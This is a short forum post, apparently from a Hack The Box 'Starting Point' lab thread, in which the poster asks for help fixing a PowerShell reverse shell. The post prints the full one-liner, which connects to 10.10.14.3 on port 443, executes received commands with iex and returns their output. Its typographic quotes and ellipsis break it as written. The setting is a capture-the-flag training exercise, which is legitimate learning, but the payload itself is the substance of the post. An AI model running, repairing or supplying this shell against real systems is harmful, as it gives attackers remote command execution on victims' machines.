Starting Point Foothold Reverse Shell

There seems to be a syntax error with the reverse shell:

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.3”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Does anyone have a fixed shell?